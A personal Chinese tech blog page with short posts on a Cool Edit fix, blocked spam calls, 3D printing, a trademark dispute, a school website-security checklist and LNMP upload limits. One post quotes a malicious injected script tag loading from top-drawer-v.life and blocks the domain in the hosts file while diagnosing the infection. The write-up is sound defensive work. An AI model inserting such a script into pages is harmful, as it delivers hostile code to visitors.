Cool Edit打开失败怎么办:This system has not been configured correctly to run Cool Edit

十二月 15, 2017 by · Leave a Comment 

在win 10上打开Cool Edit,弹出一个对话框:

This system has not been configured correctly to run Cool Edit. Please run Setup again.

意思就是Cool Edit系统配置有问题,建议你重新安装一遍。

重新安装之后就自动打开的那个Cool Edit可以成功,点击图标自己打开还是有问题。

原来Cool Edit是一个老软件,需要以兼容模式运行(不需要管理员身份运行)。解决办法:

快捷方式点鼠标右键->属性->兼容性->勾选“以兼容模式运行这个程序”->选择 Windows XP (Service Pack 3)

然后确定,大功告成!

2017-12-02拦截的骚扰电话

十二月 2, 2017 by · Leave a Comment 

0755 36560172 @ 2017-12-02 14:57:02

如果您认为上述号码不是骚扰电话,请联系傅老师

2017-12-01拦截的骚扰电话

十二月 1, 2017 by · Leave a Comment 

4000609920 @ 2017-12-01 15:46:24

如果您认为上述号码不是骚扰电话,请联系傅老师

所有网站都被挂马top-drawer-v.life?(问题暂未解决)

十一月 25, 2017 by · Leave a Comment 

问题的起源是傅老师在浏览奉贤区教育局网站的时候,firefox提示说:

Visiting this website may harm your computer

不怕死的我很好奇地点进去了,然后翻看其源代码,直接看的话什么也没有,Inspect Element会看到网页源码中头部被插入了下面的js代码:

<script type="text/javascript" src="//top-drawer-v.life/code/?pid=484751&r=6611879"></script>

这个js脚本会在网页标签开头插入两个js代码。

然后傅老师惊奇地发现出事儿了,百度的页面也被top-drawer-v.life挂马,所有网站都会有这个代码。

难道是我的浏览器中招了?遂换opera查看,top-drawer-v.life的js代码依然存在,不是针对浏览器的!

难道是被ISP劫持了强行挂马?换联通ip查看,top-drawer-v.life的js代码依然存在,不是ISP搞的鬼!

难道是路由器被修改了?立刻3389另一台同网域的服务器查看,嗯没有top-drawer-v.life的js代码,看来路由器是好的!

综上所述,本机浏览所有网站都被挂马top-drawer-v.life的问题应该是单机系统问题,重装win10肯定是可以解决问题的。

进入taskmanager,没有发现可疑进程,切换到“启动”标签,也没有发现可疑程序。

进入msconfig,查看“服务”项,也没有发现可疑的非Microsoft服务。

“使用Windows Defender”,依然解决不了问题。

最终只能采取临时解决方案,host屏蔽top-drawer-v.life:

点击左下角logo->记事本右键->以管理员身份运行->文件->打开->C:\WINDOWS\system32\drivers\etc\hosts

在空白处加入两行:

127.0.0.1 top-drawer-v.life
127.0.0.1 b.top-drawer-v.life

注意:这只是治标不治本的办法,这个top-drawer-v.life挂的马到底从哪儿来的,还是不知道!有知道的同学还望不吝赐教

最后,奉贤区教育局的网站是真的被挂马了,不过不是top-drawer-v.life;傅老师的电脑应该是早就中招了,只不过最近才发现。

——本文最后由傅老师于2017-11-25编辑过

3d打印问题和经验总结:换线,TPU,木材

十一月 24, 2017 by · Leave a Comment 

  1. 加热喷嘴到200°,迅速拔出原来的白色线材,然后插入新的线材,开始测试打印,发现喷嘴被原来的白色线材包裹,不吐丝。怀疑是喷嘴被堵,询问3d打印机技术支持,说建议喷嘴加热到210°,把线材拔出来然后用细丝捅开,再添加新线材。结果我自己把喷头加热到220°然后开启测试打印,喷头开始吐丝了,几圈白色打完后就是新料。
  2. 木材PLA比单纯的PLA更容易翘边,后者在底面积较大时才可能发生翘边,然而木材PLA在打印3cm*3cm的底面时都可能翘边,而且木材PLA对调平比较敏感。所以使用木材PLA进行3d打印的时候最好多加几圈底座。另外据说木材PLA成品的颜色会随打印温度的提高而加深,然而我实际使用下来发现200°和230°打印出来的颜色没什么区别。
  3. TPU材料打印温度200-220℃都是可以的(200以下有点吐不动丝,190可能会堵),相比普通PLA来说,喷嘴要压得低一点,否则不粘板。另外最好平台不加热,风扇速度调高,尽量让TPU快速冷却。打印速度降低到30-50,底层最好10。TPU好像翘边不明显。TPU打印根本不翘边。
  4. TPU材料填充率不能低,除非高度在1毫米左右,一般填充率要90%以上可能才能成功;TPU材料打悬浮(悬空)物件太难,raft支撑也不行,估计只能手动实心支撑,然后打完用剪刀修剪。总结一下TPU的3d打印:打得密、打得慢、冷却快、不悬空。

——本文最后由傅老师于2017-12-11编辑过

极光三维究竟是极光尔沃还是创想三维的3d打印机商标?

十一月 12, 2017 by · Leave a Comment 

极光尔沃在其天猫旗舰店挂了声明,表示“极光三维”是极光尔沃3d打印机的注册商标。而创想三维在其京东旗舰店也挂了声明,表示“极光三维”是创想三维的3d打印机商标。

极光尔沃的商标声明

创想三维的商标声明

凡事就怕认真!傅老师索性到国家商标局去具体查一下,看看“极光三维”到底是谁家的3d打印机商标。

嗯,不错,结果一目了然,确实极光尔沃和创想三维都注册了“极光三维”这个商标:

深圳市极光尔沃科技股份有限公司-极光三维-注册号 22142173

深圳市创想三维科技有限公司-极光三维-注册号 21236291

其商品/服务栏目中皆包含了“3d打印机”。

难道一个3d打印机商标能同时分属两家不同的公司?仔细看看下面的“商标状态”,两个是不一样的,创想三维的是“Published for Opposition”(公示?),极光尔沃的是“Appeal of Refusal Pending”(驳回?)。傅老师不懂商标注册流程,但是从状态的字面上来看,“极光三维”这个商标截至2017.11.12应该还没有最终落定。

最后想说一句的是,极光尔沃标榜自己为上市公司,股票代码871953,这个有忽悠老百姓之嫌,新三板准确的说叫“挂牌”,不算“上市”。无论是商标、挂牌还是上市,这些都是虚的,最终还是要看产品!

——本文最后由傅老师于2017-11-18编辑过

家用级3D打印机入坑备选:闪铸,天威,极光尔沃,极光三维(已顺利入坑)

十一月 6, 2017 by · Leave a Comment 

品牌型号 闪铸finder 天威1.0Plus 极光尔沃A4 极光三维Ender1 创想三维CR-2020
淘宝/天猫 2999 3399 3680 4999 4999
京东售价 3599 3500 4799 4399
打印尺寸 14*14*14cm 22.5*14.5*14cm 15*14*14cm 29*19*18.5cm 20*20*20cm
打印精度 ±0.2 mm ±0.1 mm 0.05-0.2mm 0.1mm 0.1mm
打印层厚 0.05-0.4mm 0.1-0.4mm 0.05-0.3mm 0.05-0.2mm 0.05-0.4mm
打印材料 PLA PLA, ABS PLA, TPU PLA, ABS, 软胶, 木材, 碳纤维等 PLA, ABS, 软胶, 木材, 含铜等
底座加热 不支持 不支持 支持  支持
断电续打 不支持 支持 支持 不支持 不支持
打印格式 stl, obj, x3g stl, g-code stl, obj, g-code stl, g-code stl, g-code, obj, jpg, png
设备净重 11kg 10kg 17kg 18.9kg
官方网站 sz3dp.com printrite.com.cn jgew3d.com cxsw3d.com cxsw3d.com

注:
1、关注的3d打印机只选择“耳熟能详”的品牌,且价格为2xxx-4xxx元的,整机。
2、打印材质只写了介绍资料上列举的,没列举的就没有摘录过来;
3、咨询了极光三维的客服,问为什么他们的官方网站上找不到ender1这款3的打印机,回答是:“没有列出来!”极光三维的公司叫“创想三维”。
4、天威1.0 Plus下面还有一款天威1.0,价格只要2000多,但是既然有plus了,一般傅老师就不考虑下面的了。

——本文最后由傅老师于2017-11-14编辑过

2017-11-02拦截的骚扰电话

十一月 2, 2017 by · Leave a Comment 

021 80313644 @ 2017-11-02 10:08:18

021 80351396 @ 2017-11-02 11:23:41

如果您认为上述号码不是骚扰电话,请联系傅老师

上海市学校网络(网站)安全自查表

十月 16, 2017 by · Leave a Comment 

检查范围

检查内容

检查项

检查要点

检测方法

检查结果

网络安全责任制落实情况

网站责任制落实情况

网站安全责任部门和安全责任人落实情况。 是否落实了单位网站安全责任部门?

采用等级保护检查工具箱检查,首先在工具箱中生成检查项,针对网站检查工具箱管理系统会提示采用WEB服务检测工具检查,工具检查结果导入后,会自动关联检查项,对于未给出结果的检查项再采用人工查验,结果在工具箱中记录。

□是 □否 □不适用
是否落实了单位网站安全责任人? □是 □否 □不适用
主要领导对网站网络安全工作的重视情况。 是否将网站网络安全工作的执行情况纳入到年度考核指标? □是 □否 □不适用
开展网站网络安全工作的经费是否纳入年度预算? □是 □否 □不适用
单位网站网络安全责任制落实情况。 是否明确了网站建设单位、运维单位和内容更新单位等部门的责任? □是 □否 □不适用
是否对发生的网站安全事件(事故)按照安全责任制进行追责? □是 □否 □不适用

网站网络安全工作保障情况

关键岗位人员配备情况。 是否有明确的安全管理员,并签订保密协议? □是 □否 □不适用
是否有内容管理员,并签订保密协议? □是 □否 □不适用
网站定级备案执行情况。 单位网站是否确定了安全保护等级? □是 □否 □不适用
单位网站是否按要求到公安机关进行了备案? □是 □否 □不适用
网站等级测评情况。 是否从《全国信息安全等级保护测评机构推荐目录》中选择测评机构开展等级测评? □是 □否 □不适用
是否对网站系统定期进行安全测评? □是 □否 □不适用
是否对网站系统进行了外部渗透测试? □是 □否 □不适用
是否根据测评和渗透测试结果对网站进行安全加固整改? □是 □否 □不适用

安全管理措施落实情况

网站监测和报告情况

安全事件报告处置。 是否制定网站安全事件(事故)报告制度? □是 □否 □不适用
发生网站安全事件(事故)是否向属地公安机关报告? □是 □否 □不适用
是否有完整网站安全事件处置记录? □是 □否 □不适用
是否按照要求保留网站完整日志? □是 □否 □不适用
开展日常网站安全监测和预警情况。 本单位是否开展日常网站安全监测? □是 □否 □不适用
是否有网站安全监测记录? □是 □否 □不适用
是否有网站安全预警和处理记录? □是 □否 □不适用

网站管理情况

网站内容管理。 是否制定网站内容发布管理制度? □是 □否 □不适用
是否制定网站内容发布流程? □是 □否 □不适用
应急预案的制定、演练和完善情况。 是否有应急预案,并有相应的预案文档? □是 □否 □不适用
是否有应急保障队伍并有人员联系方式? □是 □否 □不适用
是否定期应急演练并有应急演练的文档记录? □是 □否 □不适用
是否根据演练结果对应急预案进行完善? □是 □否 □不适用
机房安全管理制度执行情况。 本单位机房进出人员管理是否按照制度执行,并有详细记录? □是 □否 □不适用
本单位机房日常监控是否按照制度执行,并有监控记录? □是 □否 □不适用
网络安全自查情况。 是否有网站安全自查工作总结报告? □是 □否 □不适用
网站交互式栏目信息巡查情况。 单位网站是否有交互式栏目? □是 □否 □不适用
是否有专人负责网站交互式栏目信息巡查? □是 □否 □不适用

网站安全防护情况

防攻击。 是否部署防火墙? □是 □否 □不适用
是否对外屏蔽了不必要的服务/端口? □是 □否 □不适用
是否部署入侵检测(防护)设备? □是 □否 □不适用
是否部署防病毒网关? □是 □否 □不适用
是否部署抗拒绝服务攻击设备? □是 □否 □不适用
是否部署Web应用防火墙? □是 □否 □不适用
是否部署设备? □是 □否 □不适用
防篡改。 是否定期对网站文件进行检测? □是 □否 □不适用
是否采取网页防篡改措施? □是 □否 □不适用
漏洞扫描措施及修复升级情况。 是否进行过系统层漏洞扫描,并有详细记录? □是 □否 □不适用
是否进行过应用层漏洞扫描,并有详细记录? □是 □否 □不适用
发现的漏洞是否及时修复? □是 □否 □不适用
网站恶意代码防护。 是否有网页挂马检测系统? □是 □否 □不适用
网站内容安全防护措施。 内容编辑、审核及发布权限是否分离? □是 □否 □不适用
关键信息发布是否多级审核? □是 □否 □不适用
网站发布内容是否过滤? □是 □否 □不适用
管理终端安全防护措施。 是否有控制措施(如地址绑定,网络接入控制等)? □是 □否 □不适用
网站后台管理系统防护措施。 是否对网站后台管理系统的接口进行隐藏? □是 □否 □不适用
网站后台管理系统登录是否采取验证机制? □是 □否 □不适用
是否对网站后台管理系统的登录失败尝试次数进行限制? □是 □否 □不适用
是否对网站后台管理系统的用户口令复杂度进行强度限制? □是 □否 □不适用
防瘫痪。 网站服务器和数据库服务器是否双机热备? □是 □否 □不适用
网站服务器和数据库服务器是否采用冷备方式? □是 □否 □不适用
网站前、后台系统隔离情况。 是否采用逻辑隔离? □是 □否 □不适用
网站应用远程管理情况。 是否不允许远程管理网站的应用? □是 □否 □不适用
应用远程管理时是否采用加密通道? □是 □否 □不适用
网站内容远程维护情况。 是否不允许远程维护网站内容? □是 □否 □不适用
网站内容远程维护时是否采用加密通道? □是 □否 □不适用
网站服务器操作系统安全措施。 网站服务器操作系统安全补丁是否及时更新? □是 □否 □不适用
网站服务器操作系统是否存在弱口令? □是 □否 □不适用
网站服务器操作系统是否共用同一管理口令? □是 □否 □不适用
网站服务器数据库安全措施。 网站服务器数据库是否存在弱口令? □是 □否 □不适用
网站服务器数据库是否共用同一管理口令? □是 □否 □不适用
网站服务器中间件安全措施。 网站服务器中间件管理界面是否允许外部访问? □是 □否 □不适用
网站服务器中间件是否存在弱口令? □是 □否 □不适用
网站服务器中间件是否共用同一管理口令? □是 □否 □不适用
防病毒。 在网站服务器上是否部署了服务器版防病毒系统? □是 □否 □不适用
病毒库更新频率。 □自动升级
□定期
是否发现病毒存在? □是 □否 □不适用
防域名劫持。 描述防域名劫持的措施。 □是 □否 □不适用

网站安全评估情况

检测评估。 是否对网络的安全性和可能存在的风险每年至少进行一次检测评估。 □是 □否 □不适用

LNMP如何修改上传文件最大限制upload_max_filesize

九月 26, 2017 by · Leave a Comment 

LNMP安装包默认上传文件最大为50M,大部分时候够用,但是有的时候我们希望突破这个最大上传文件限制,比如上传数据库文件(.sql或.tar.gz)或者视频文件。

重置LNMP上传文件最大限制,我们需要编辑2个文件修改3个参数。

vi /usr/local/nginx/conf/nginx.conf
修改参数client_max_body_size=999M (改成你需要的上传文件大小)

vi /usr/local/php/etc/php.ini
修改参数post_max_size和upload_max_filesize

最后重启LNMP服务:
lnmp restart

看下探针:

Next Page »